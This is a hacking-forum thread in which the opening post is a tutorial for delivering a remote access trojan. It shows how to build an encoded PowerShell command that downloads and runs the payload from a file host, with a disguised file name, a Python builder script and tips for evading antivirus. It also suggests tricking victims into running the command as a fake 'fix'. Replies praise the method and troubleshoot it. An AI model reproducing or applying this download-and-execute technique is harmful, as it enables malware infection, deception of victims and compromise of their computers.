[TheBrokenWasp]

Hello HF, I have decided to post a quick tutorial here. I will share a simple thing you can do to create a CMD command that will download and execute your RAT, and this can be used for very specific spreading methods and AV evasion tactics.

Step one would be to upload your exe to a hos that provides direct file links. This is surprisingly hard to find for some reason, so I suggest uploading to random hosts that won't ban you, then downloading your own file using Chrome. What you can do then is go to your downloads and see the file you downloaded, and almost always a direct link (or a direct link with GET headers after it that look something like this: ?variable=...) to it in the same section.

After this, decide on a file output name. Usually, this can be almost anything.

Next, you will take the following command and replace the variables:

Code

Invoke-WebRequest -Uri [Direct Link to Stub Here] -OutFile [Output File Name Here]; .\[Output File Name Here Again]; exit

and an example would be this:

Code

Invoke-WebRequest -Uri some.com/random/file.exe -OutFile TotallyLegitWindowsProcess.exe; .\TotallyLegitWindowsProcess.exe; exit

Now, encode this using Base64 (Hackforums has a handy tool for this here.) My example command would then look like this:

SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgVG90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHlMZWdpdFdpbmRvd3NQcm9jZXNzLmV4ZTsgZXhpdA==

Now, just slap this prefix onto it:

Code

powershell -encodedCommand

with my example, it would become this:

Code

powershell -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgVG90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHlMZWdpdFdpbmRvd3NQcm9jZXNzLmV4ZTsgZXhpdA==

And you're done! This can now be executed as a CMD command, PowerShell command, batch file, or PowerShell file. Some things you could do with it include social engineering and telling people that it will fix a certain error some app has, or put it into a batch file which you then convert to an exe, effectively making a personal downloader to evade AV!

Using the social engineering aspect, that would mean people don't have to download anything which would maybe decrease suspicion of some. Though I would keep in mind that base64 is just as easily decrypted as it is encrypted, so anybody with minimal computer knowledge could find you out if you go this route.

If you have any problems, questions, or comments, feel free to tell/ask me and I will try to respond.

[VisualSoft]

Nice tutorial buddy,
is there any why to select folder where it will download and execute?

[Sinistros]

Nice tutorial buddy,
is there any why to select folder where it will download and execute?

I guess you make a cd command before download and execute the file, or I guess you can write the path in the output file name.

[VisualSoft]

I guess you make a cd command before download and execute the file, or I guess you can write the path in the output file name.

for that we need to know that parameter and that what I asked OP.

[Sinistros]

for that we need to know that parameter and that what I asked OP.

I was right just put the path at the output.
https://4sysops.com/archives/use-powersh...s-and-ftp/

[VisualSoft]

I was right just put the path at the output.
https://4sysops.com/archives/use-powersh...s-and-ftp/

Thanks.

[TheBrokenWasp]

Nice tutorial buddy,
is there any why to select folder where it will download and execute?

Sorry for the late response, but yes, as has been stated before you can just add "cd [location]" to the string of commands, though I would personally find a way to make it go back to the original directory after as it seems a bit fishy otherwise, as the command prompt would point to the new folder.

Edit: just realized what Sinistros said would work, my bad

[kakaroto33]

thats sounds nice, will try it, thanks bro

[frankie777]

Really nice tutorial. I know this will come in handy for most users here.

[TheBrokenWasp]

Really nice tutorial. I know this will come in handy for most users here.

Thanks

[Professional]

Threads like these makes HF one of the best forum......
After all, 'knowledge' is the thing which is most important these days....
Thank you brother for this nice share......

[zelus]

I tried it with putty link and it didnt work for me

wonder what i did wrong

Nice one anyways

[VisualSoft]

I tried it with putty link and it didnt work for me

wonder what i did wrong

Nice one anyways

if your link was direct download link, then it should work.

[TheBrokenWasp]

I tried it with putty link and it didnt work for me

wonder what i did wrong

Nice one anyways

Hmmm... I think you might need to make the encoding urlsafe and using UTF-16-LE. I originally made this as a python builder with a Tkinter UI and this is the lin of encryption:

Code

def build(link, filename):
    command = "Invoke-WebRequest -Uri '" + link + "' -OutFile '" + filename + "'; .\\" + filename + "; exit"
    cmd=command
    command = base64.urlsafe_b64encode(cmd.encode("UTF-16-LE"))
    fullcommand = "powershell -encodedCommand " + command.decode() + "\npause"
    with open('command.txt', 'w') as attack:
        attack.write(fullcommand)
        attack.close()
    y.pack()

Hope it helps

if your link was direct download link, then it should work.

I'm pretty sure the putty link is a direct download link because it's what I tested with too...

[kakaroto33]

dont work here

https://prnt.sc/swyauz

Windows 10 Enterprise x64 PTBR build 2004